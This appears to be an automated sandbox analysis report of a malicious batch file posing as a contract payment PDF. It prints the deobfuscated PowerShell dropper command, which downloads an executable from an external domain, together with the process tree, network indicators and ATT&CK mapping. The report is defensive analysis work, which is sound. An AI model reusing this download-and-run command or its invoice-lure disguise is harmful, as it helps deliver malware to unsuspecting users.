f37ba407b41367f79349f837edbac14fde9f9e5b0f4f7a2e8363186788c8c9fb

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
06/02/2025, 15:32 UTC

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General

Target

CONTRACT_AGREEMENT_PAYMENT_0037836589337_PDF.bat
Size

349B
MD5

512ff935108c90d1338702a7af2d56f7
SHA1

fc9a789bd4811be4dffc04c9475daaad3413e546
SHA256

de11223dc99c7be3dab1e860b3c582a138432cf6d234ba335a1f51bd95894579
SHA512

6f8c350373e660c0546578039ccf20399ac7fe1eb4037e75124ac6dfbf2e555ffabe0550883bb3a83d7c7665d716bfc9ab379acd7baf559e747eba195da7461f

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

1
(new-object system.net.webclient).downloadfile("https://igorbende.online/Main/Invoice.exe", "Invoice.exe")
2

URLs

exe.dropper

https://igorbende.online/Main/Invoice.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2412	powershell.exe
6	2412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2412	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2412	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 2412	2540	cmd.exe	31
PID 2540 wrote to memory of 2412	2540	cmd.exe	31
PID 2540 wrote to memory of 2412	2540	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\CONTRACT_AGREEMENT_PAYMENT_0037836589337_PDF.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://igorbende.online/Main/Invoice.exe', 'Invoice.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2412

Network

DNS

igorbende.online

powershell.exe

Remote address:

8.8.8.8:53

Request

igorbende.online

IN A

Response

igorbende.online

IN A

199.188.200.89

199.188.200.89:443

igorbende.online

tls

powershell.exe

350 B
179 B
5
4
199.188.200.89:443

igorbende.online

tls

powershell.exe

350 B
179 B
5
4

8.8.8.8:53

igorbende.online

dns

powershell.exe

62 B
78 B
1
1

DNS Request

igorbende.online

DNS Response

199.188.200.89

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2412-4-0x000007FEF674E000-0x000007FEF674F000-memory.dmp

Filesize
4KB

Download
memory/2412-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2412-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2412-7-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-8-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-9-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download